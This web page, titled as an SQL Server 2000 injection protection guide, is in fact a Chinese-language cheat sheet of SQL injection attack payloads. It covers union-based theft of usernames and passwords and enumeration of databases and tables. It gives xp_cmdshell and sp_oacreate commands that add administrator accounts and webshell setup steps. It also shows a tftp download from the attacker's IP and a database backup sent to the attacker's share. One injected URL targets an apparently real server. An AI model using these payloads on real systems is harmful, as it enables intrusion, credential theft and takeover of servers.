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SQL Server 2000 注入防护大全(一)_sqlserver

sqlserver 搞代码 3年前 (2018-06-16) 142次浏览 已收录 0个评论

SQL Server 2000 注入防护大全(一)

Sql注入早源于’or’1’=’1

最重要的表名:

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes

http://www.gaodaima.com/36182.htmlSQL Server 2000 注入防护大全(一)_sqlserver

sysusers
sysdatabases
sysxlogins
sysprocesses

  最重要的一些用户名(默认sql数据库中存在着的)

public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin

  一些默认扩展

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID

例如:

sp_addextendedproc ‘xp_webserver’, ‘c:/temp/xp_foo.dll’
exec xp_webserver
sp_dropextendedproc ‘xp_webserver’
bcp “select * FROM test..foo” queryout c:/inetpub/wwwroot/runcommand.asp
-c -Slocalhost -Usa -Pfoobar
‘ group by users.id having 1=1-
‘ group by users.id, users.username, users.password, users.privs having 1=1-
‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (‘login_id’)-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (‘login_id’,’login_name’)-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name=’Rahul’–

  构造语句:查询是否存在xp_cmdshell

‘ union select @@version,1,1,1–
and 1=(select @@VERSION)
and ‘sa’=(select System_user)
‘ union select ret,1,1,1 from foo–
‘ union select min(username),1,1,1 from users where username > ‘a’-
‘ union select min(username),1,1,1 from users where username > ‘admin’-
‘ union select password,1,1,1 from users where username = ‘admin’–
and user_name()=’dbo’
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add’
and 1=(select count(*) FROM master.dbo.sysobjects where
xtype = ‘X’ AND name = ‘xp_cmdshell’)
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’

1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=’x’%20and%20name=’xp_cmdshell’)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) 判断sa权限是否
and 0<>(select top 1 paths from newtable)– 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)

  创建一个虚拟目录E盘:

declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:/”‘
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse’

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (‘Admin’)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(‘id’,…)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1)

  可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union语句到处风靡啊,access也好用

  暴库特殊技巧::%5c=’/’ 或者把/和/ 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(‘Address’))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));–

_blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/’, @value_name=’/’, [email protected] OUTPUT insert into paths(path) values(@test)

_blank>http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;[email protected]%20%20int;exec%20sp_oacreate%20″wscript.shell”,@s%20out;[email protected],”run”,NULL,”cmd.exe%20/c%20ping%201.1.1.1″;–

  得到了web路径d:/xxxx,接下来:

_blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;–
_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);–

  传统的存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell ‘dir’
;exec master.dbo.sp_addlogin hax;–
;exec master.dbo.sp_password null,hax,hax;–
;exec master.dbo.sp_addsrvrolemember hax sysadmin;–
;exec master.dbo.xp_cmdshell ‘net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hax /add’;–
exec master..xp_servicecontrol ‘start’, ‘schedule’
exec master..xp_servicecontrol ‘start’, ‘server’
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:/WINNT/system32/cmd.exe /c net user swap 5258 /add’
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add’

_blank>http://localhost/show.asp?id=1&#8242;; exec master..xp_cmdshell ‘tftp -i youip get file.exe’-

declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:/’
declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ‘dir c:/’
;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’
如果被限制则可以。
select * from openrowset(‘sqloledb’,’server’;’sa’;”,’select ”OK!” exec master.dbo.sp_addlogin hax’)

 

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